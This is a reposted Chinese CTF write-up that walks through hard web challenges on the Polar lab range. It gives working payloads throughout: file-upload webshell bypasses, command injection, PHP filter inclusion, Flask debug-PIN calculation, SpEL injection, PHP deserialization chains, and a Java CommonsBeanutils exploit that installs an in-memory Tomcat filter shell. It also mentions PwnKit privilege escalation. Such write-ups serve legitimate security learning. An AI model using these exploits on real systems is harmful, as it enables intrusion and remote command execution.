0


【Web】记录Polar靶场<困难>难度题一遍过

最后还剩了两题,有点累了,后面有空就补上

上传

php文件应该是传不上去了

但看响应头可以上传.htaccess来包含恶意文件

SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

再上传个图片马

回显了个<?,后续访问也是404,就是没传上去呗,文件内容还有问题

尝试用script标签继续优化,避开<?

但很可惜,高版本下服务器并不解析这种script标签为php代码,仍然不行

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

于是在将所有文件解析为php的同时,开启php_value auto_append_file用base64解码来包含恶意文件,从而绕过<?的限制

显示内容不能有file,尝试大小写绕过,但似乎不能解析

于是用\来绕过

再传个base64编码的图片马

访问/upload/yjh.png

连蚁剑,拿flag

PHP是世界上最好的语言

题目提示flag在$flag这个变量中

两处变量覆盖,$POST的值要在第一处就覆盖好

最后传参的时候用504[SYS.COM,不解释

非常好绕的命令执行

  1. if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))

这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。

将冗余的括号注释掉,用#即%23来注释(浏览器里不能直接传#,否则其会被当作锚点)

payload:

  1. ?args1=echo&args2=`cat<flagggg`);%23&arg3=1

这又是一个上传

随便上传一个php文件,直接弹窗了,有前端检测

禁用js即可

太感动了,直接传上去了

连上蚁剑后主打一个没权限

得提权了兄弟们

可以看这篇文章:

【Web】超级详细的Linux权限提升一站式笔记_linux文件权限提升-CSDN博客

先查找suid文件

挺遗憾没有熟面孔的,但注意到一个刺眼的存在:/opt/polkit-0.105/src/programs/.libs/pkexec

这不嘎嘎乱搜

靠谱:

GitHub - luijait/PwnKit-Exploit: Proof of Concept (PoC) CVE-2021-4034

下面得用哥斯拉操作了

脚本文件上传到/tmp目录下

注意虚拟终端tty不完整

linux tty、伪tty是什么?-CSDN博客

用SuperTerminal执行提权,拿到flag

网站被黑

进来试试常规的信息搜集,发包看到响应头的Hint

base32解码

访问/n0_0ne_f1nd_m3/

text部分一眼data协议

  1. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz

file的话尝试过日志包含,但并不行

于是换个编码方式绕过

quoted-printable 是一种编码方法,通常用于将二进制数据转换为 ASCII 字符串。

file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

最终payload:

  1. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

flask_pin

太典了太典了

flask算pin

初始界面直接得知了app路径:/usr/local/lib/python3.5/site-packages/flask/app.py

访问/console发现开启了debug模式

读/etc/passwd看用户名

/sys/class/net/eth0/address读getNode得到uuid

0242ac02dade十六进制转十进制即可

2485376965342

读/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf

读 /proc/self/cgroup

8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

整理后 拼接得到最终machine_id

  1. c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

经过尝试sha1算法不对,可以用md5算法生成pin

  1. import hashlib
  2. from itertools import chain
  3. def getPIN(public_bits, private_bits):
  4. rv = None
  5. num = None
  6. # h = hashlib.md5()
  7. h = hashlib.sha1()
  8. for bit in chain(public_bits, private_bits):
  9. if not bit:
  10. continue
  11. if isinstance(bit, str):
  12. bit = bit.encode("utf-8")
  13. h.update(bit)
  14. h.update(b"cookiesalt")
  15. cookie_name = f"__wzd{h.hexdigest()[:20]}"
  16. # If we need to generate a pin we salt it a bit more so that we don't
  17. # end up with the same value and generate out 9 digits
  18. if num is None:
  19. h.update(b"pinsalt")
  20. num = f"{int(h.hexdigest(), 16):09d}"[:9]
  21. # Format the pincode in groups of digits for easier remembering if
  22. # we don't have a result yet.
  23. if rv is None:
  24. for group_size in 5, 4, 3:
  25. if len(num) % group_size == 0:
  26. rv = "-".join(
  27. num[x: x + group_size].rjust(group_size, "0")
  28. for x in range(0, len(num), group_size)
  29. )
  30. break
  31. else:
  32. rv = num
  33. return rv, cookie_name
  34. if __name__ == "__main__":
  35. public_bits = [
  36. 'root',
  37. 'flask.app',
  38. 'Flask',
  39. '/usr/local/lib/python3.5/site-packages/flask/app.py'
  40. ]
  41. private_bits = [
  42. '2485376965342',
  43. 'c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b'
  44. ]
  45. PIN = getPIN(public_bits, private_bits)
  46. print(PIN)

输入pin进入console,为所欲为即可

veryphp

一眼变量覆盖,还有个很恶意的waf

🤔hackbar发包不行,得用bp发包,可能是因为有啥特殊符号吧

_用[来绕过

  1. shaw[root=-a9<b>22222222>>>>pabcphp@Rs1

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

gpt搓个脚本

  1. <?php
  2. $targetHash = '166b47a5cb1ca2431a0edfcef200684f';
  3. $prefix = 'shaw';
  4. for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字,假设范围在 0 到 99999 之间
  5. $SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数,不足的用0填充
  6. $hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希
  7. if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
  8. echo "找到匹配的 SecretNumber: $SecretNumber\n";
  9. break;
  10. }
  11. }

爆出来是21475

最后注意过滤了e,所以call_user_func不能直接利用system

考虑利用qwq这个文件读取类的静态方法

毒鸡汤

访问/robots.txt

访问/hint.txt

访问/www.zip拿到附件

在index.php里看到一段任意文件包含

?readfile=yulu.txt试了一下确实可以利用

然后看了看yulu.php和dog.php没啥特别的

随手一试,我测,包含/flag直接就出了

upload tutu

​​​​​改MIMETYPE,显示要让文件内容不同

对文件内容修改后,要求文件内容md5值相同

传两个相等的md5值

s1885207154a

s1836677006a

跳转到新的界面,直接拿到了flag

Unserialize_Escape

这个filter特征,将匹配的

  1. x

替换为

  1. yy

一眼字符串逃逸

要逃逸20个长度,前面塞20个x就可

  1. <?php
  2. $username="Z3r4y";
  3. $password="aaaaa";
  4. $user = array($username, $password);
  5. echo serialize($user);
  6. //a:2:{i:0;s:5:"Z3r4y";i:1;s:5:"aaaaa";}
  7. //";i:1;s:5:"aaaaa";}
  8. //";i:1;s:6:"123456";}
  9. echo strlen("\";i:1;s:6:\"123456\";}");
  10. //20

payload:

  1. username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

自由的文件上传系统

随便传个马,发现对文件修改了

直接不以php解析了,只能配合文件包含来利用了

注意到这里?被替换为了!

可以用script标签来绕过

点一下那个小房子的logo,跳转到一个文件包含点

访问/sectet_include.php?file=upload/6481059636

连蚁剑,拿flag

ezjava

看到提示,flag在/app/flag.txt

附件没啥内容,这不一眼spel注入

参考文章:

SpEL表达式注入漏洞学习和回显poc研究

payload:

  1. new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "utf8")).readLine()

记得url编码一次

苦海

题目源码

  1. <?php
  2. /*
  3. PolarD&N CTF
  4. */
  5. error_reporting(1);
  6. class User
  7. {
  8. public $name = 'PolarNight';
  9. public $flag = 'syst3m("rm -rf ./*");';
  10. public function __construct()
  11. {
  12. echo "删库跑路,蹲监狱~";
  13. }
  14. public function printName()
  15. {
  16. echo $this->name;
  17. return 'ok';
  18. }
  19. public function __wakeup()
  20. {
  21. echo "hi, Welcome to Polar D&N ~ ";
  22. $this->printName();
  23. }
  24. public function __get($cc)
  25. {
  26. echo "give you flag : " . $this->flag;
  27. }
  28. }
  29. class Surrender
  30. {
  31. private $phone = 110;
  32. public $promise = '遵纪守法,好公民~';
  33. public function __construct()
  34. {
  35. $this->promise = '苦海无涯,回头是岸!';
  36. return $this->promise;
  37. }
  38. public function __toString()
  39. {
  40. return $this->file['filename']->content['title'];
  41. }
  42. }
  43. class FileRobot
  44. {
  45. public $filename = 'flag.php';
  46. public $path;
  47. public function __get($name)
  48. {
  49. $function = $this->path;
  50. return $function();
  51. }
  52. public function Get_file($file)
  53. {
  54. $hint = base64_encode(file_get_contents($file));
  55. echo $hint;
  56. }
  57. public function __invoke()
  58. {
  59. $content = $this->Get_file($this->filename);
  60. echo $content;
  61. }
  62. }
  63. if (isset($_GET['user'])) {
  64. unserialize($_GET['user']);
  65. } else {
  66. $hi = new User();
  67. highlight_file(__FILE__);
  68. }

瞪眼看链子

User.__wakeup -> User.printName -> Surrender.__toString -> FileRobot.__get -> FileRobot.__invoke -> FileRobot.Get_file

exp

  1. <?php
  2. class User
  3. {
  4. public $name;
  5. }
  6. class Surrender
  7. {
  8. }
  9. class FileRobot
  10. {
  11. public $filename;
  12. public $path;
  13. }
  14. $d=new FileRobot();
  15. $c=new FileRobot();
  16. $b=new Surrender();
  17. $a=new User();
  18. $d->filename='../flag.php';
  19. $c->path=$d;
  20. $b->file['filename']=$c;
  21. $a->name=$b;
  22. echo serialize($a);

payload:

  1. ?user=O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";N;s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}

base64解码拿到flag

你想逃也逃不掉

这不一眼字符串逃逸

exp

  1. <?php
  2. function filter($string){
  3. return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
  4. }
  5. class User
  6. {
  7. public $name;
  8. public $passwd;
  9. public $sign;
  10. }
  11. $a=new User();
  12. $a->name="phtmlphtmlphtmlphtml";
  13. $a->passwd=";s:6:\"passwd\";s:0:\"\";s:4:\"sign\";s:6:\"ytyyds\";}";
  14. $a->sign="123456";
  15. echo filter(serialize($a));
  16. echo strlen("\";s:6:\"passwd\";s:26:");
  17. //20 => 即要逃逸20个字符

safe_include

先写入恶意session文件

  1. ?xxs=<?php+system('tac+/f*');?>

再包含恶意session文件

  1. ?xxs=/tmp/sess_cofdad2n8lie1e30im77qhbrv6

CB链

看pom依赖,活活一个CB链呗

反序列化入口在/user路由下 ,也没在输入流处做过滤

题目环境不出网,考虑注入内存马

payload过长会报错,采用MyClassLoader来中转,从而实现分段传内存马

目录结构如下:

EXP.java

  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import org.apache.commons.beanutils.BeanComparator;
  4. import java.io.*;
  5. import java.lang.reflect.Field;
  6. import java.util.Base64;
  7. import java.util.PriorityQueue;
  8. public class EXP {
  9. public static void main(String[] args) throws Exception {
  10. final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class);
  11. // mock method name until armed
  12. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  13. // create queue with numbers and basic comparator
  14. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  15. // stub data for replacement later
  16. queue.add("1");
  17. queue.add("1");
  18. // switch method called by comparator
  19. setFieldValue(comparator, "property", "outputProperties");
  20. // switch contents of queue
  21. final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
  22. queueArray[0] = templates;
  23. queueArray[1] = templates;
  24. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  25. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  26. objectOutputStream.writeObject(queue);
  27. byte[] bytes = byteArrayOutputStream.toByteArray();
  28. System.out.println(Base64.getEncoder().encodeToString(bytes));
  29. }
  30. public static <T> T createTemplatesImpl(Class c) throws Exception {
  31. Class<T> tplClass = null;
  32. if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
  33. tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
  34. } else {
  35. tplClass = (Class<T>) TemplatesImpl.class;
  36. }
  37. final T templates = tplClass.newInstance();
  38. final byte[] classBytes = classAsBytes(c);
  39. setFieldValue(templates, "_bytecodes", new byte[][]{
  40. classBytes
  41. });
  42. setFieldValue(templates, "_name", "Pwnr");
  43. return templates;
  44. }
  45. public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
  46. Class clazz = obj.getClass();
  47. Field classField = clazz.getDeclaredField(fieldName);
  48. classField.setAccessible(true);
  49. classField.set(obj, fieldValue);
  50. }
  51. public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
  52. Class<?> clazz = obj.getClass();
  53. Field classField = clazz.getDeclaredField(fieldName);
  54. classField.setAccessible(true);
  55. return classField.get(obj);
  56. }
  57. public static byte[] classAsBytes(final Class<?> clazz) {
  58. try {
  59. final byte[] buffer = new byte[1024];
  60. final String file = classAsFile(clazz);
  61. final InputStream in = clazz.getClassLoader().getResourceAsStream(file);
  62. if (in == null) {
  63. throw new IOException("couldn't find '" + file + "'");
  64. }
  65. final ByteArrayOutputStream out = new ByteArrayOutputStream();
  66. int len;
  67. while ((len = in.read(buffer)) != -1) {
  68. out.write(buffer, 0, len);
  69. }
  70. return out.toByteArray();
  71. } catch (IOException e) {
  72. throw new RuntimeException(e);
  73. }
  74. }
  75. public static String classAsFile(final Class<?> clazz) {
  76. return classAsFile(clazz, true);
  77. }
  78. public static String classAsFile(final Class<?> clazz, boolean suffix) {
  79. String str;
  80. if (clazz.getEnclosingClass() == null) {
  81. str = clazz.getName().replace(".", "/");
  82. } else {
  83. str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
  84. }
  85. if (suffix) {
  86. str += ".class";
  87. }
  88. return str;
  89. }
  90. }

MyClassLoader.java

  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.util.Base64;
  8. public class MyClassLoader extends AbstractTranslet {
  9. static{
  10. try{
  11. javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
  12. java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
  13. r.setAccessible(true);
  14. org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
  15. javax.servlet.http.HttpSession session = request.getSession();
  16. String classData=request.getParameter("classData");
  17. System.out.println("classData:"+classData);
  18. byte[] classBytes = Base64.getDecoder().decode(classData);
  19. java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
  20. defineClassMethod.setAccessible(true);
  21. Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
  22. cc.newInstance().equals(new Object[]{request,response,session});
  23. }catch(Exception e){
  24. e.printStackTrace();
  25. }
  26. }
  27. public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
  28. }
  29. public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
  30. }
  31. }

FilterMem.java

  1. package org.example;
  2. import javax.servlet.*;
  3. import java.io.BufferedReader;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.io.InputStreamReader;
  7. import java.util.stream.Collectors;
  8. public class FilterMem implements javax.servlet.Filter{
  9. private javax.servlet.http.HttpServletRequest request = null;
  10. private org.apache.catalina.connector.Response response = null;
  11. private javax.servlet.http.HttpSession session =null;
  12. @Override
  13. public void init(FilterConfig filterConfig) throws ServletException {
  14. }
  15. public void destroy() {}
  16. @Override
  17. public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
  18. javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
  19. javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
  20. javax.servlet.http.HttpSession session = request.getSession();
  21. String cmd = request.getHeader("Polar-CMD");
  22. System.out.println(cmd);
  23. if (cmd != null) {
  24. //System.out.println("1");
  25. response.setHeader("Polar-START", "OK");
  26. // 使用 ProcessBuilder 执行命令
  27. Process process = new ProcessBuilder(cmd.split("\\s+"))
  28. .redirectErrorStream(true)
  29. .start();
  30. //System.out.println("2");
  31. // 获取命令执行的输入流
  32. InputStream inputStream = process.getInputStream();
  33. // 使用 Java 8 Stream 将输入流转换为字符串
  34. String result = new BufferedReader(new InputStreamReader(inputStream))
  35. .lines()
  36. .collect(Collectors.joining(System.lineSeparator()));
  37. System.out.println("3");
  38. response.setHeader("Polar-RESULT",result);
  39. } else {
  40. filterChain.doFilter(request, response);
  41. }
  42. }
  43. public boolean equals(Object obj) {
  44. Object[] context=(Object[]) obj;
  45. this.session = (javax.servlet.http.HttpSession ) context[2];
  46. this.response = (org.apache.catalina.connector.Response) context[1];
  47. this.request = (javax.servlet.http.HttpServletRequest) context[0];
  48. try {
  49. dynamicAddFilter(new FilterMem(),"Shell","/*",request);
  50. } catch (IllegalAccessException e) {
  51. e.printStackTrace();
  52. }
  53. return true;
  54. }
  55. public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
  56. javax.servlet.ServletContext servletContext=request.getServletContext();
  57. if (servletContext.getFilterRegistration(name) == null) {
  58. java.lang.reflect.Field contextField = null;
  59. org.apache.catalina.core.ApplicationContext applicationContext =null;
  60. org.apache.catalina.core.StandardContext standardContext=null;
  61. java.lang.reflect.Field stateField=null;
  62. javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
  63. try {
  64. contextField=servletContext.getClass().getDeclaredField("context");
  65. contextField.setAccessible(true);
  66. applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
  67. contextField=applicationContext.getClass().getDeclaredField("context");
  68. contextField.setAccessible(true);
  69. standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
  70. stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
  71. stateField.setAccessible(true);
  72. stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
  73. filterRegistration = servletContext.addFilter(name, filter);
  74. filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
  75. java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
  76. filterStartMethod.setAccessible(true);
  77. filterStartMethod.invoke(standardContext, null);
  78. stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
  79. }catch (Exception e){
  80. }finally {
  81. stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
  82. }
  83. }
  84. }
  85. }

用下面这个网站把字节码转base64

CyberChef

传的时候记得urlencode一下

先打入内存马

再命令执行

phar

先文件包含读funs.php

  1. ?file=php://filter/convert.base64-encode/resource=funs.php

base64解码得

  1. <?php
  2. include 'f1@g.php';
  3. function myWaf($data)
  4. {
  5. if (preg_match("/f1@g/i", $data)) {
  6. echo "NONONONON0!";
  7. return FALSE;
  8. } else {
  9. return TRUE;
  10. }
  11. }
  12. class A
  13. {
  14. private $a;
  15. public function __destruct()
  16. {
  17. echo "A->" . $this->a . "destruct!";
  18. }
  19. }
  20. class B
  21. {
  22. private $b = array();
  23. public function __toString()
  24. {
  25. $str_array= $this->b;
  26. $str2 = $str_array['kfc']->vm50;
  27. return "Crazy Thursday".$str2;
  28. }
  29. }
  30. class C{
  31. private $c = array();
  32. public function __get($kfc){
  33. global $flag;
  34. $f = $this->c[$kfc];
  35. var_dump($$f);
  36. }
  37. }

瞪眼看链子

A.__destruct -> B.__toString -> C.__get

exp:

  1. <?php
  2. class A
  3. {
  4. public $a;
  5. }
  6. class B
  7. {
  8. public $b = array();
  9. }
  10. class C{
  11. public $c = array();
  12. }
  13. $c=new C();
  14. $b=new B();
  15. $a=new A();
  16. $c->c=array("vm50"=>"flag");
  17. $b->b=array("kfc"=>$c);
  18. $a->a=$b;
  19. echo serialize($a);

payload:

  1. ?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

PHP_Deserialization

瞪眼看链子

Polar.__wakeup -> Night.__call -> Day.__toString

exp:

  1. <?php
  2. class Polar
  3. {
  4. public $night;
  5. public $night_arg;
  6. }
  7. class Night
  8. {
  9. }
  10. class Day
  11. {
  12. public $filename;
  13. }
  14. $c=new Day();
  15. $b=new Night();
  16. $a=new Polar();
  17. $c->filename="/flflagag";
  18. $a->night=$b;
  19. $a->night_arg=$c;
  20. echo base64_encode(serialize($a));

payload:

  1. polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

标签: polarctf ctf web

本文转载自: https://blog.csdn.net/uuzeray/article/details/137246913
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】记录Polar靶场<困难>难度题一遍过”的评论:

还没有评论